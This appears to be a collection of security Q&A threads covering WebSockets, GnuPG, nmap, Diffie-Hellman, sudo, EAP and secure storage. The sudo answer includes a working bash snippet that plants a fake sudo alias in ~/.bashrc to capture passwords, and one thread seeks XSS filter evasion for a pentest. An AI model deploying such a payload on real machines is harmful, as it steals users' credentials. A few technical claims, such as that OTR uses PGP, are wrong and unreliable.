As an owner of a malicious website I could spread a javascript which makes the user connect to a websocket server and performs some malicious activity on it. I could use this to turn my visitors into spam zombies to spam some websocket-based application by someone else. But websocket has a build-in feature to protect against this. The users webbrowser sends the URL of the website with every websocket connection. That means a service can easily ignore any connections which do not originate from a known URL.

For further information, I recommend the RFC-6455 which describes the protocol itself and the W3C standard for the Javascript API in web browsers.


Can it be a vulnerability to show stars in password entry fields? The two most common behaviors I see in password entry fields are:

For each character typed display an asterisk in the password entry field.
Display nothing at all in the entry field.

The approach of displaying nothing at all in the entry field can be a risk because it means if focus is somewhere else, the user may unknowingly type their password in a place where it shouldn't have been.

I know displaying the asterisk characters makes it easier for a shoulder surfer to figure out how long a password you are using. But to me that sounds like a very weak argument. If the password is short enough for that to matter it would be weak even if the adversary doesn't know the length of the password.

Are there any other security arguments in favor of having no feedback in the password entry field?

No, there is no good reason to hide password length and if this is done then it's usually for other reasons like it being easier to implement.

It is bad user experience and a shoulder surfer can pretty easily count keystrokes.


What type of malware can see my browsing activity? I downloaded and installed Malwarebytes. After running a scan, Malwarebytes quarantined a bunch of different malware programs.

What type of malware can see my browsing history, my Google searches and Facebook activity?

I know that spyware and keylogger types of malware can do that, but Malwarebytes detected none of those on my computer. Instead, it detected adware, trojan agent, and all kind of PUPs. Can those kinds of malware see my browsing activity?

Any application which can access your browser data can see your browsing history - the requirements for that depend on what browser you are using, and how you use your computer (if your day to day user is an administrator or not, for example). That may in turn reveal things you've searched for or Facebook activity through the presence of cache data or similar.

There are also programs which may be considered legitimate by tools like Malwarebytes, but which may be able to observe actions in this way. For example, if you use any VPN software to connect to a business network, or browser addins with all-site permissions, they can also see the activity, but may not be flagged as malicious since they need to be able to see the activity in order to work.


What is the meaning of GnuPG's --list-sigs output? gpg --list-sigs gives me somethings like the following (I edited the output only to show the interesting/different rows):

pub   2048R/4ACE309C 2016-11-01
uid                  lala_test2 <lala2@test.org>
sig 3        4ACE309C 2016-11-01  lala_test2 <lala2@test.org>
uid                  test_key <test_key@test.org>
sig 3        4ACE309C 2016-11-01  lala_test2 <lala2@test.org>
sub   2048R/EA9FDC87 2016-11-01
sig          4ACE309C 2016-11-01  lala_test2 <lala2@test.org>
sig 2        03A9DA1F 2014-02-11  [User ID not found]
sig 3        5B51CBCF 2011-10-25  [User ID not found]
sig 3        06B47049 2011-10-26  [User ID not found]
sig 3        00C85EF1 2011-10-31  [User ID not found]
sig 3        5A4BEDCE 2011-10-06  [User ID not found]
sig        1 F2648165 2011-10-07  [User ID not found]
sig       X  CA57AD7C 2005-07-31  [User ID not found]
sig       X  CA57AD7C 2005-08-01  [User ID not found]
sig 2     X  DC79FAC9 2003-09-26  [User ID not found]
sig          7EE2682F 2016-06-03  [User ID not found]
rev          7EE2682F 2016-06-03  [User ID not found]

The tags in the first column means:

pub -> public key
uid -> user id
sig -> signature, from another person saying that he trust the key under pub tag
sub -> subkey
rev -> is this a signature whose key was revoked by the signer?

2048R -> 2048 is the key size and R for RSA.
There is also the short key id, the creation date, and the last one is the user ID when available.

What do the numbers in a sig row after first column mean?

Certification Levels

There are different classes of certifications. Quoting RFC 4880, OpenPGP, 5.2.1.  Signature Types:

[...]

0x10: Generic certification of a User ID and Public-Key packet.
   The issuer of this certification does not make any particular
   assertion as to how well the certifier has checked that the owner
   of the key is in fact the person described by the User ID.

0x11: Persona certification of a User ID and Public-Key packet.
   The issuer of this certification has not done any verification of
   the claim that the owner of this key is the User ID specified.

0x12: Casual certification of a User ID and Public-Key packet.
   The issuer of this certification has done some casual
   verification of the claim of identity.

0x13: Positive certification of a User ID and Public-Key packet.
   The issuer of this certification has done substantial
   verification of the claim of identity.

Most OpenPGP implementations make their "key signatures" as 0x10
certifications.  Some implementations can issue 0x11-0x13
certifications, but few differentiate between the types.

[...]

GnuPG displays the "normal" 0x10 signatures as sig and the advanced signatures distinguishing between different kinds of certification levels with a number following: 0x11 as sig 1, 0x12 as sig 2 and 0x13 as sig 3. rev indicates revoked signatures.

The output of --list-sigs is also explained by the GnuPG manual pages (man gpg):

--list-sigs
    Same as --list-keys, but the signatures are listed too.  This command has the
    same effect as using --list-keys with --with-sig-list.

    For  each  signature listed, there are several flags in between the "sig" tag
    and keyid. These flags give additional information about each signature. From
    left  to  right,  they  are  the numbers 1-3 for certificate check level (see
    --ask-cert-level), "L" for a local or non-exportable signature (see  --lsign-
    key), "R" for a nonRevocable signature (see the --edit-key command "nrsign"),
    "P" for a signature that contains a policy URL (see  --cert-policy-url),  "N"
    for  a  signature  that contains a notation (see --cert-notation), "X" for an
    eXpired signature (see --ask-cert-expire), and the numbers 1-9 or "T" for  10
    and  above  to  indicate  trust  signature levels (see the --edit-key command
    "tsign").

Vagueness

Also note the first paragraph of the specification's section, which indicates there is no general, rigid definition of the certification levels:

  There are a number of possible meanings for a signature, which are
     indicated in a signature type octet in any given signature.  Please
     note that the vagueness of these meanings is not a flaw, but a
     feature of the system.  Because OpenPGP places final authority for
     validity upon the receiver of a signature, it may be that one
     signer's casual act might be more rigorous than some other
     authority's positive act. [...]

Because of this, some people post certification policies. I provided some discussion in What are you saying when you sign a PGP key?


System nmap shows port closed but online nmap tool shows port open When I run a nmap scan against a remote target, it shows port 25 closed but an online nmap tool like (https://hackertarget.com/nmap-online-port-scanner/) shows that port 25 is open.

 sudo nmap -sS -v 194.95.6.16 -p 25 --reason
 PORT   STATE  SERVICE REASON
 25/tcp closed smtp    reset

Which result is true and why the other one is displaying a different result?

PORT STATE SERVICE REASON
25/tcp closed smtp reset
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.28 ms 192.168.0.1
2 4.16 ms rsm4151x-ndr.net.hrz.tu-darmstadt.de (130.83.21.254)
3 14.89 ms corel506-rsm4151x.net.hrz.tu-darmstadt.de (130.83.253.74)
4 4.19 ms cores101-corel506.net.hrz.tu-darmstadt.de (130.83.99.33)
5 4.18 ms mx01-1.mpi-bremen.de (194.95.6.16)

I ran with traceroute option of nmap. How to find where is the firewall or IDS or even it's existing or not ?

What does closed state means:

  A closed port is accessible (it receives and responds to Nmap probe
  packets), but there is no application listening on it. They can be
  helpful in showing that a host is up on an IP address (host discovery,
  or ping scanning), and as part of OS detection. Because closed ports
  are reachable, it may be worth scanning later in case some open up.
  Administrators may want to consider blocking such ports with a
  firewall. Then they would appear in the filtered state, discussed
  next.

https://nmap.org/book/man-port-scanning-basics.html

It can be firewall or IDS system. Also I have checked and it states that port 25 is open:

PORT   STATE  SERVICE
25/tcp open   smtp

You can also try telnet:

telnet 194.95.6.16 25
Trying 194.95.6.16...
Connected to 194.95.6.16.
Escape character is '^]'.
220 mx01.mpi-bremen.de ESMTP


Why would home routers accept incoming DNS traffic? I stumbled upon an interesting paper (PDF Link) where researchers found out that more than 58% of the DNS open resolvers that are blamed in DDoS attacks are in fact home routers distributed by ISPs to customer. The paper goes on to find out the reason for the odd (anomalous) behavior where these routers respond to DNS queries with the wrong source port (not udp 53), and found that the problem is probably caused by a faulty NAT rule.

I think that research is interesting, but what I cannot understand is that why would manufacturers make such home routers accept any kind of traffic initiated from the wild internet? I know some of them have the option to open configuration page from WAN thus listening on port 80 or 443 (or whatever custom port you set), but what justification can be thought of for opening up a service like DNS to the outside world? And if that was just a side effect for something those manufacturers tried to accomplish, what would it possibly be? Could it be some kind of a backdoor not configured well? and to do what? Or am I missing something here?!

SoHo routers generally provide IP masquerading (NAT). This means that they need to provide a DHCP service and (because DNS uses UDP, and hence cannot be used across IP masquerading) also need to provide a DNS server.

(OK that's a simplification, and these are requirements arising primarily from usability which could be solved by more elaborate technical solutions - but end-users don't like technical stuff)

So given that these devices need to provide these services, the question then becomes why are these services exposed on the internet side? The short answer is that it takes additional effort to restrict the services to the inside network. While adding such a restriction to, say, a Linux or Cisco box is trivial, a lot of these devices use proprietary operating systems written without any consideraton of the security implications (hence we end up with devices containing hard-coded admin backdoors and other such horrors).

Even where adding the restriction is trivial, it still means an extra R&D cost. If you're used to configuring network devices you may scoff at this - but one step above the manufacturers you might consider simply incompetent are those who will only implement features which they have thoroughly tested - and done properly those costs can escalate rather quickly.

The great buying public are starting to become aware of security as a desirable property in computer equipment, but in the absence of an effective, cheap and well published standard for device security, they have no basis for making an informed decision about the quality of a device. Hence it's a market for lemons.

While I agree with Jeff that cost is a major factor in the chain of causality, I would not say it is the root cause of the problem here.


Diffie-Hellman key-exchange: securing prime and base As we know DH algorithm based upon 2 large prime numbers, which are used to be called as prime and base

I am writing app which implements DH key exchange algorithm. From security point of view should I take care for securing prime and base numbers? And what are implications if I wouldn't do that?

In Diffie-Hellman there is a large integer which is prime, but the other one needs not be large, and it needs not be prime either.

With DH, computations are done modulo a big prime p. A generator called g is also used: g "generates" the values gi mod p. If you (virtually) compute the gi modulo p, you will get back to 1 at some point; the smallest non-zero value i such that gi = 1 mod p is called the order of g (let's write it r). Necessarily, r divides p-1.

What DH needs is that:

p is large enough to make discrete logarithm hard; say, at least 1024 bits (current fashion is 2048 bits, because 1024 bits are now considered to be "a bit too weak" as in "unbreakable for now, but maybe in 20 years...").
r must have at least one prime factor q which is large enough to deter discrete logarithm; in this context, this means at least 170 bits (there again, fashions dictate 256 bits -- cryptographers just love powers of two).

q and r needs not be known by the people who do the DH. If you select a random p of appropriate size, and a random g (as a value between 2 and p-2, inclusive), then g will be fine with overwhelming probability (you will not know r, let alone q, but it would be extremely improbable that all prime factors of r are short).

Nevertheless, you could try a bit harder in the choice of p; for instance, you could select p such that p = 2t+1 where t is also prime. At this point, any g (between 2 and p-2) is guaranteed to have an order equal to either t or 2t, so you can choose g as you see fit. In particular, you can choose g = 2, which makes computations a bit faster.

None of the values above need to be secret. Indeed, both DH parties are assumed to know them beforehand, so they cannot be secret (if they were secret, it would be a shared secret and you would not need to do Diffie-Hellman at all, you could just use that shared secret as is). To save effort, you could reuse existing, published values for p and g, for instance these values.


Accessing a site (which is) under a DDoS Lets say http://www.an-example-site.com is under DDoS attack. Alice, who does not have direct access to the hardware infrastructure, urgently wants some information which can be accessed through the site only.

In such a situation, what are the choices Alice have?

Many operators (most I hope) use back-door network connections, such as a modem through a terminal server at the site. There are lots of variations on this theme, but that's the easiest way to do it, and has the advantage of giving you access to your network if there's a network or hardware problem affecting your connectivity.

Another option is working with your ISP to shut down all traffic except traffic coming from your particular netblock or IP address; that's a simple change, and most tier-1 ISP's will be able to help you with this under emergency circumstances.

There are also commercial cleaning services like Verisign's DDoS prevention product that can divert all of the traffic, remove the DDoS traffic in particular, and send the result back to your network. This can be done via DNS or (better) BGP.

Finally, not all DDoS attacks are just packet cannons. If you're being attacked with something like an SSL resource exhaustion attack or one of a bunch of similar high-level attacks, your SSH connection into your webserver may still work just fine. Then again, it may not, if it's that server itself that's overloaded and spinning at 100% CPU. A solution to this problem is to get an SSL offload device and put it in front of your server(s). Planning a high-availability site like this takes some thought, but you will definitely get better results.


Is `sudo` almost useless? Once an attacker has a shell as your sudoer user (or just compromised a local process enough), he/she can use one of the many privilege escalation tool to even automatically put themselves for example as apt or some other processed called by root to gain root access (see also What can an attacker do in this scenario? (unwritable bashrc, profile, etc.)).

What's the point of sudo then outside of blocking smaller payloads or making it a bit harder? It seems that the focus should be on SELinux and such.

Edit: There are 2 side of this question (I should have been more specific). First, what I initially meant, for a standard Linux desktop user. A pretty different answer could be given for a machine administered by someone else.

Sudo has no real security purpose against a malicious third-party. So yes, it is basically useless for that purpose. In the past I believed it was actually a security control to prevent escalation of privilege and make attacks harder, because some people keep on insisting it also has that purpose, but that's actually false. In fact, at the moment you only got one answer to your question, and that answer is propagating that myth. The only purpose of sudo is to protect you from yourself, that is, to avoid messing up your system by mistake. Gaining all the privileges with one click or one key press might be dangerous, while sudo will at least force you to consciously type your password. And if you (or a program or script) ends up touching system files or other users' files by mistake, without consciously using sudo, you will get a "permission denied" notice. So in the end it's just an administration tool, and not actually a security control meant to protect you from an attack.

Here's a very basic example of why sudo offers no real protection against malicious code:

# Create payload: replace sudo with an alias
payload='
    fake_sudo() {
        # Simulate a sudo prompt
        echo -n "[sudo] password for ${USER}: "
        read -s password
        echo
        # Run your command so you are happy
        echo "$password" | sudo -S "$@"
        # Do my evil stuff with your password
        echo "Done with your command, now I could use $password to do what I want"
    }
    alias sudo=fake_sudo
'

# Write the payload to the bashrc config file
echo "$payload" >> ~/.bashrc

That is a very basic example of code that an attacker could run on your machine. It's not perfect, it doesn't even handle every case (it won't work well if you enter the wrong password), but it just shows you that sudo can be replaced by an attacker. If you run that script, the next time you open your terminal and run sudo you will actually be running fake_sudo. An attacker can replace your programs with aliases, or replace the binary files (putting malicious versions in ~/bin or wherever they can be executed in your path), etc.

This is not even a real "escalation of privilege", because a user that can run sudo to become root already has the all the privileges. A real unprivileged user should not have sudo capabilities. To have a real separation of privileges you should run administration stuff on a totally separate account.


AES256 with 128 bit key A popular zero-knowledge file sharing site uses a 128-bit master key for encryption.

However, they claim to be using AES256.  When questioned, they explained the master key is widened using PBKDF2 and random salt to 256-bits.

Can this technically still be called AES256?  Is this method of widening from 128 bits to 256 an acceptable practice?

EDIT:  I have no more detailed information on their process.

AES-256 is a specific algorithm, and it's the same algorithm whether you use the key 3e9e98e31ba18d8d18283aceb3c6e17016b729e1363afc5bea8bf7df295b03e9 every time, or derive a key with PBKDF2 from some password, or choose the key by flipping a coin 256 times.

So this is not a contradiction.  But that doesn't mean their system isn't full of red flags!

They're abusing the technical term ‘zero-knowledge’ from the cryptography literature, which suggests that their marketing department is better-funded than their cryptography department.
It's hard to imagine why they use a 128-bit master key and then expand it with PBKDF2.  If the 128-bit master key is actually a passphrase, then there is no reason to limit it to a 128-bit space; if it's chosen uniformly at random, it's hard to imagine that they can't afford the additional storage for a 256-bit key—especially if they're also storing a salt!—and there's no reason to use something expensive like PBKDF2 instead of (say) HKDF.
They're hiding their design, which suggests they are so embarrassed by it they don't want anyone to see how bad it is because it might hurt their business.  (But they will likely rationalize this to themselves by pretending that other businesses would copy their bad design, which would be foolish because there are obviously better public designs available, or that adversaries won't be able to figure it out, which would be foolish because designs are much harder to conceal than keys as Kerckhoffs' observed over a century ago.)


ACME protocol without LetsEncrypt, using dedicated CA I have a question about the ACME protocol without using LetsEncrypt, and using our dedicated CA instead.

Can anyone enlighten me what should I consider in my client-server application which satisfies the ACME protocol which we can implement in our Network Security standard?

You seem to have a fundamental misunderstanding of which parts need to be secure.  It doesn't matter if others get the CSR (it does matter if they can tamper with it) or the CRT.  You are going to turn around and publicly share the certificate with everyone in order to make use of it.  You should never be transmitting the private key and the ACME protocol does not require this.

What DOES need to be secure is that you need to ensure that the challenge is not tampered with.  If a challenge is tampered with between the ACME server and the client, it would be possible for an adversary to trick the legitimate client in to answering the challenge for the attacker so that the attacker can be issued a certificate by the server for their own private key.

You can use SSL with a pinned certificate to ensure that you are actually talking to the real server when receiving the challenge they issue for your particular CSR.  This will allow establishing a secure connection with the server such that you can verify that the CSR is unaltered in flight and that the challenge provided is the one for your CSR.


Microsoft DS vulnerability? I heard that Microsoft DS is a port that is commonly used by hackers to hack computers due to its ability to transfer files.

How do they transfer files with Microsoft DS?
Do they need an exploit to let the malware run?

Microsoft DS is the name given to port 445 which is used by SMB (Server Message Block). SMB is a network protocol used mainly in Windows networks for sharing ressources (e.g. files or printers) over a network. It can also be used to remotely execute commands.

You use it basically every time you use Windows to access a file share, a printer, or any other ressource located on the network.

Over time, there were a lot of vulnerabilities found in the SMB implementation of Windows, some of which allowed for execution of arbitrary commands over the network, partly without any authentication. Also very common are weak configurations of SMB in networks that provide an easy attack surface.
Together these points lead to SMB being a major attack point.

An open source implementation of SMB exists with the name of Samba, which is commonly used to easily use Linux and Windows together in a network.


How to securely store secrets in Docker container? The application I'm working on has more than a dozen of secrets, SSL certificates and API keys. Currently I have a file that's added into .gitignore and it contains all my secrets. How to securely store all these secrets? How enterprise apps handle this, where security is top priority?

I'm looking into AWS KMS and as far as I understand I have to encrypt all of the secrets, commit it, and then at runtime pass my AWS credentials for decrypting the secrets (user is only allowed to use KMS key for decrypting and no other permissions are added for the user).

Now, assuming the machine where containers are run is compromised - secrets are encrypted, so that should be fine, but! if docker inspect command is run, it will display all environment variables (the AWS secrets), so I exec into the container and all I have to do is to use the env variables to decrypt the secrets.. sort of defeats the purpose or maybe I am missing a step somewhere?

Note: My current solution is not secure too - file is gitignored, but it still exists on the machine where the containers are run (and later, after image is built, they are exposed as env variables).

Note 2: Git repo is private

Docker Secrets is the new recommended method for sharing & storing secrets inside containers. Docker deliberately opted to store secrets in files under /run/secrets over the environment variable approach.


Ending a javascript block without slash character Very frustrating situation on a pentest I am currently doing - I have found a place where I can inject almost all characters into a piece of javascript from a parameter.

But the web developers seem lucky - the piece of code that I can alter never executes because there is a javascript syntax error before my injection point. Argh!

So I thought I might just end the javascript block by doing </script> and then appending my attack. However - I can't use the / character - just about the only char that is filtered out. Tried a long list of variations but none seem to work. I can manage <&#47;script> but the browser doesn't pick that up as </script>.

Any ideas? Can I tweak something such that my script is executed anyway? Or is there another way to end a block of script, other than </script>? Some other encodings of the / character that I can try? Any help much appreciated. :)

Server side:

As a security procedure they encoded the "/" in the "&#47" in order to avoid any directory path traversal or XSS (no luck mate). Try other methods of getting around the "/".

Cheat-sheet: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Client side:

Your browser is having a sort of XSS protection enabled. Try to disable that protection.


How smart is storing passwords and usernames in files? So, I wanted to make a login system with PHP, and basically what it would do would be to have a file for usernames and a file for passwords so when a user tries to log in, it just gets information from both files and matches the passwords.

However, the security side of me is saying that's an absolutely horrible idea. Is there a safe way that I could actually pull this off? If it had to do with encrypting the passwords, how would I do that in a safe manner?

The most PHP applications perform login by querying a database to validate the user-provided credentials. Databases have many advantages over plain-text files. Though the big issue here is not only the security of the database itself (of course you better use a strong password to access your database) but the security of your application in general.

That means that if you prefer/insist on using PHP for user-validation/registration etc... you better follow good and tested practices rather than re-inventing the wheel, not only for the validation but for every part of the application (since a seemingly minor bug can lead to full application compromise and database leakage). Now, as is widely known no system is 100% secure, so even if a security-breach occur for some reason you don't want all those user-credentials to be leaked in public. So the best way to avoid that is to save the hash (pick a cryptographically strong hash function like bcrypt etc...) of those creds rather than save them in plain text.

Finally, it's important to mention that there are web-frameworks (like Django, Ruby on Rails etc...) that by design offer a lot of security features out of the box (in my opinion PHP lacks in this part) while in PHP you have to code "carefully" and follow good practices.


Secure data storage using password derived key. How to deal with lost password? In order to securely store data for a logged-in user, I derive a key from his password when he connects and use it to encrypt the data stored locally for this user.

Without the user password, which I only get when the user connect (only a hash_mac of the password is stored locally for the login), I cannot decipher the data stored for this user.

However in such scenario, if the user loses his password, no one can decipher his data anymore. How one manage such issue?

Hard to tell how exactly you are encrypting things. In the exact situation you've described user's data is lost and nothing can be done.

However, if you are doing the whole scenario (mind you, there are many pitfalls, and it's easy to devise something that only appears secure), you have some options/

One possible scenario is that the user data is encrypted using a random key. This random key is then encrypted using password-derived key.

Good things about this schema:

When user changes password you don't have to re-encrypt all of his data, only the encrypted key, so password changing can finish in a reasonable time.
You can have several 'slots', each one containing the actual encryption key encrypted by something different - user password, some master password, whatever, use your imagination.

Bad things:

It's much easier steal the encrypted slot, mount an off-line password crack, and then return with known key and steal all data.
You have to be extra careful when disposing of a key - if you 'forget' the password, but not completely wipe data from slot, it remains open for password cracking.
Your master password/key/whatever is a much better target than user's individual passwords - after all you'll probably have one master password, that can unlock all users' data.
You subvert trust in your system - previously only user had access to his data, now the administrator has it as well.


How to check whether my USB flash drive was infected by the BadUSB After failing to check whether my USB stick firmware can be rewritten AT ALL, I want find out, whether it WAS rewritten when I sticked it in another computer. In particular the question is: how to find out, whether my USB flash drive tries to behave like different devices (or device classes)?

Would it be enough to udevadm monitor and to see if it "removes" itself? Are there any way to controll how Linux communicates with the USB device (like in a console)?

Watching udevadm may give you false negatives, as the malicious payload may be triggered by a specific event or after a timeout, and it would not need to act as another USB device to inject malicious payloads in files.

One thing you may do is ensure that no storage area is reserved for malicious purposes: create a non-compressible random file in the hard drive the size of the USB drive, copy it to the usb stick and then verify it.


Understanding what bot was used for a Botnet attack Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords.
From an online source:

A botnet using more than 90,000 IP addresses to crack WordPress admin accounts may be used as part of a larger plot to disrupt online users, according to researchers.
WordPress users with the “admin” username are being targeted by a botnet consisting of compromised home PCs. The infected machines are brute-force hacking accounts, automatically inputting a list of commonly used passwords.
...

All that we know right now is that some 90,000 unique IP addresses were involved in this attack.
Although the details of the attack will probably become public once the investigations get thorough, I wish to ask a generic question:

Earliest bots were known to be IRC based. The latest trends of Bots has been towards P2P.
What all information is sufficient or necessary for a domain expert to judge/conclude
what type of Botnet was used in a particular attack- IRC, HTTP or P2P?
And what conclusions can be drawn right now for the Wordpress attack?

I am not inviting speculations here, but some good answers (with good logics) in the spirit of this one by the Big Bear.

The "IRC, HTTP or P2P" categorization of a botnet is about how the worker machines obtain their orders from the control centre. HTTP-based botnets connect to a control site whose URL they know; this is not very discrete in the long run. In particular, since this attack is assumed to be about hijacking servers to build a bigger botnet, each successfully infected server will be given a way to contact the control centre -- in the case of a main URL, the URL will be in it.

Since some big names are currently trying to understand the attack, it seems reasonable to suppose that they already set up some honeypot virtual machines, to observe the infection and observe the result. As a consequence, if the botnet is HTTP-based, they already know the villain's server address, and Special Forces / Spetnasz / SAS / Légion Étrangère are on their way to explain to him the true meaning of pain.

This does not appear to happen right now, so I suppose that the botnet is more protected than that, and uses a decentralized method of communication. This is what spy networks, terrorist organizations and resistance forces have done for many decades. "IRC" and "P2P" are two variants of that principle. In an IRC-based botnet, the network of cooperating IRC servers acts as an involuntary (but often complacent) transport medium; "P2P" will be used to qualify botnets who simply skip that crude piece of old technology and send their packets all alone. In a properly managed botnet, each infected host would know the addresses of only a few other hosts: its cell, and some hosts in adjacent cells.

My bet would go on P2P, but that's just a gut feeling.


EAP vs TLS authentication I am having trouble understanding the point of EAP.

EAP is an authentication framework, which defines several TLS based methods and encapsulations like EAP-TLS, EAP-TTLS and PEAP. These all require the server/authenticator to have a certificate (EAP-TLS require the client/supplicant to have it too).

TLS provides authentication with the use of certificates on its own. Then what is the point of EAP?
Is EAP better in some way?
The most notable usage of EAP is WPA. Is it advantageous to use it on wired connections too compared to plain TLS?
When would you rather use one or the other?

TLS provides authentication with the use of certificates on its own.

TLS actually can do a number of things, but is most commonly used for establishing an encrypted session/tunnel between two end points.
It certainly can be used to provide authentication, but many of the EAP protocols that do make use of TLS only do so to encrypt the traffic between supplicant and server to provide a secure tunnel through which the authentication takes place.

Then what is the point of EAP?
...
Is EAP better in some way?

You said it yourself, "EAP is an authentication framework." EAP defines a framework that provides a standard interface within which entities are free to define their own authentication methods that can provide authentications services in whatever way they see fit within that standard framework.
The two end points (authenticator and supplicant) must be able to understand and make use of the specific method, but any intermediate devices are only required to know how to process EAP traffic. In other words, intermediate devices don't need to know anything about the actual authentication methods in use in any way.

The most notable usage of EAP is WPA. Is it advantageous to use it on wired connections too compared to plain TLS?

That is the most notable usage of EAP of which you are aware. EAP dates back to RFC 2284 published in 1998 and was designed initially for PPP (Point-to-Point Protocol) connections. It had nothing to do with wireless.
This initial EAP framework was compelling enough that in 2001 the IEEE working group for 802.1X decided to use it for the basis of it's authentication (which extended it to EAPOL or "EAP over LAN") for it's purpose.
802.1X, while initially meant for use on Ethernet networks, became the basis for network authentication on just about any medium where network authentication was required, including 802.11 in 2004 (this is also the year the EAP RFC was updated by RFC 3784). EAP is also typically used for authenticating mobile devices to cellular networks (SIM, AKA, AKA', and so on).
For a non-networking use of EAP, for those living in North America (and maybe elsewhere) most "open road tolling" systems that use transponders mounted in vehicles actually use an EAP method to "authenticate" when passing through toll collection points.
I am sure there are plenty of other examples of EAP in use in the world today as well. And most of these uses do not use WPA/WPA2.

I am having trouble understanding the point of EAP.

The point of EAP is that it allows devices to handle EAP traffic as EAP traffic without caring what the EAP authentication method in use might be. Only the authenticator (i.e. authentication server, typically RADIUS) and the authenticating client (i.e. supplicant) need to share an understanding of the EAP method in use.
Say you build a network. Your devices understand that clients that connect have to authenticate and you choose a proprietary solution that requires all devices (client, authentication server, and all intermediate devices) to understand and be able to process this authentication solution.
Now imagine that this authentication solution is flawed, or you get a new type of client that doesn't understand this authentication solution. The resolution now requires an upgrade to all your intermediate devices as well.
Instead, they will use EAP. Your network knows how to deal with EAP traffic (i.e forward to the authentication server). The client and server know how to negotiate the EAP method to use (defined by the operation of the EAP framework). If you need to change EAP methods or add clients that only know a new EAP method, all you need to adjust is the authentication server. All your intermediate devices just handle it as any other EAP traffic.
So, to give you a bit of insight, here is an example list of authentication methods used with EAP over time for various purposes and by different organizations (some of which are now obsolete or vulnerable):

PPP
PAP
CHAP
SPAP
MD5-Challenge
One-Time-Password
Generic-Token
TLS
PEAP
TTLS
LEAP
SIM
AKA
AKA'
MSCHAPv2 (not to be mistaken for PEAP/MSCHAPv2)
PAX
PSK
PWD
FAST
IKEv2
TEAP
GTC
EKE

This is by no means a complete list and I am not personally familiar with all these methods, but quite a number of these I have seen used with EAP (or other EAP methods, such as TTLS) in different capacities.


Is it possible to determine which type of packet is sent over TLS? If Bob is using a proxy server and he is communicating with it over TLS. Is it possible for an attacker who is sitting between Bob and the proxy server to determine what type of packet Bob is receiving and requesting to and from the proxy server.

Obviously, attacker can't see the contents of the packets because they are encrypted. But if he wants to know the type of traffic such as ftp, smtp, http, etc. running over TLS will he able to know that?

As @Sjoerd proposed in his answer you can look at the port number. But this does not help if it is not simple a TLS enabled protocol (i.e. smtps instead of smtp, ftps instead of ftp...) but if Bob is using a proxy server or VPN to tunnel the protocol.

In this case one could try to detect the protocol by flow analysis because different protocol have different traffic characteristics regarding which amount of data is sent at which time in which direction. And this behavior is visible from outside the TLS tunnel too.

For example both SMTP and FTP start similar in that the server first sends a short welcome message which is then followed by several small exchanges (i.e. USER, PASS, .. with FTP and EHLO, MAIL FROM, RCPT TO... with SMTP) which are then followed by a larger transfer from client to server with SMTP (i.e. the mail) and most times from server to client with FTP (directory listing). With HTTP instead the clients sends usually a small request (but noticeable larger than the commands within SMTP, FTP) while the server sends a much larger response back.

While it is not possible to be fully sure about the protocol spoken these manual heuristics already provide a way to classify the traffic. Classifying the traffic this way is also relevant outside of TLS because deeper traffic inspection just for classification is often two expensive and slow. If you just search for netflow traffic classification you will find lots of scientific papers and other information for further research.


What is the difference between ISO 27001 and ISO 27002? What is the difference between ISO 27001 and ISO 27002? Are they related to each other or not?

The ISO 27000 series of standards are a compilation of international standards all related to information security. The difference is that the ISO 27001 standard has an organizational focus and details requirements against which an organization’s Information Security Management System (ISMS) can be audited. ISO 27002 on the other hand is more focused on the individual and provides a code of practice for use by individuals within an organization. If you compare them you will see that they're structured similarly and that they map to eachother.

The the difference is in the level of detail, ISO 27002 explains one control on one whole page, while ISO 27001 dedicates only one sentence to each control.ISO 27002 provides best practice recommendations on information security management for use by those who are responsible for implementing or maintaining the Information Security Management Systems (ISMS). Whereas ISO 27001 defines the audit requirements.


Encryption in peer to peer chat For a homework assignment I'm developing a chat service that will be able to communicate within a single network. The communication channel should be encrypted with RSA.

Should I generate keypairs on every client and, when a client tries to communicate, ask for public key? Is this safe?

It is not a duplicate. I want to know what happen if somebody can't change packets over the network, and also offer authentication.

I will answer your question in two parts:

  The communication channel should be encrypted with RSA. How can I do that?

RSA is really slow to encrypt whole messages. The usual way this is done is to encrypt the message with a symmetric cipher like AES, then encrypt the symmetric key using the recipient's RSA public key.

Having said that, there are a lot of small details to get right, so I would advise you to use a pre-built implementation. In fact, just use SSL/TLS, use-cases like yours are exactly what it's made for. OpenSSL in the most common TLS implementation, it's easy to use and will take care of all the crypto for you. Googling something like "introduction to openssl programming" should get you started.

EDIT: As @Volker pointed out in comments, many common instant messenger clients like Pidgin and Kopete use the library Off-the-Record Messaging which is an encryption protocol specifically designed for instant messengers. OTR uses PGP as the underlying encryption system. There is an OTR library for C available here, and a Java library here.

Now for the second part of your question:

  Generate keypairs on every client and when a client tries to communicate, ask for public key? It is this safe?

Let the SSL/TLS handshake take care of all this. It uses a key-exchange protocol called Diffie-Hellman which solves the key-exchange problem quite nicely.

One thing you will want to think about is whether you need strong authentication, ie whether or not you're worried about people impersonating other users. If so, you'll need to get everybody's public keys made into certificates that ties each public key to a specific person. This is a much more complicated setup that will require some sort of Public Key Infrastructure - either you'll have to setup a Certificate Authority server (you can do it with OpenSSL), or have a web-of-trust system like PGP does. If you do decide to go this route, you can find info on Google, on this exchange, or you can post new question(s) about setting up a PKI for your chat network.


How should I protect in-app Android payments when using a separate server? I am currently implementing Android in-app payments, and am wondering what attack vectors I should look out for.

I have a simple application to view server-generated content. I want to allow the user to buy additional access in-app, and would like to know how to communicate a successful transaction to the server.

A quick summary of how Android in-app payments work:

The app sends the user to Android Market with the product to buy
The app is informed by the Market when the transaction is finished.
The app requests transaction information using a nonce.
Google sends a response to the app with the transaction record, repeating the nonce, signed with a developer-specific private key.
The app can check the data using the nonce and the signature (+ public key).
[update]: Android transactions always include a timestamp, and my app adds a GUID to identify the client. (both are in the signed transaction record)

More info here: http://developer.android.com/guide/market/billing/index.html

My current plan is to sent the full transaction record to the server, and check against the public key on the server.

Some questions I have:

Is my plan inherently flawed?
Is it preferable to generate and check the nonce server-side as well? Why is that nonce used anyway?
Is it necessary (preferable) to use HTTPS when communicating with the server?

I'm not protecting private or top-secret data, but I don't want to make it easy for an attacker.

The possible flaw I see is what you ask in your second question. It is preferable to double check everything server side and treat anything done on a client (even if coming from your own app) as untrusted. In this particular case I don't see an inherent issue, but client-side only checks open the door if a flaw is discovered down the road.

